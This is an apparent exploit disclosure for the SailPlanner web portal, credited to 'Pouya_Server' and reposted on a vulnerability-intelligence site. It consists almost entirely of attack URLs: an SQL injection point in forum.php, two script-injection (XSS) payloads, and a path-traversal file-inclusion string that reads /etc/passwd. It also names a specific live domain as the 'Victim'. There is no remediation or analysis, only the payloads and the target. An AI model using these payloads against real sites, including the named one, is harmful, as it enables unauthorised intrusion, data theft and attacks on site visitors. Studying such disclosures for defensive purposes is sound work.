Vulnerability in SailPlanner portal by Pouya_Server. SQL, XSS, LFI risk. Exploits in forum, homepage, and directory. Victim: relative.nl
`#########################################################
---------------------------------------------------------
Portal Name: SailPlanner
Vendor : http://relative.nl/projects.php?subMnuItem=1
Author : Pouya_Server , [email protected]
Vulnerability : (SQL,XSS,LFI)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/forum.php?subMnuItem&mid='[SQL]
[XSS]:
http://site.com/?subMnuItem=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>
http://site.com/directory.php?key=<script>alert(1369)</script>
[LFI]:
http://site.com/?subMnuItem=../../../../../../../../etc/passwd%00
---------------------------------
Victem :
http://relative.nl
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo